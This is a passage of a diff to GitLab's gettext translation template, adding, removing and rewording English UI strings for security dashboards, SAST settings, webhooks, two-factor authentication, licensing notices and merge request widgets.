msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
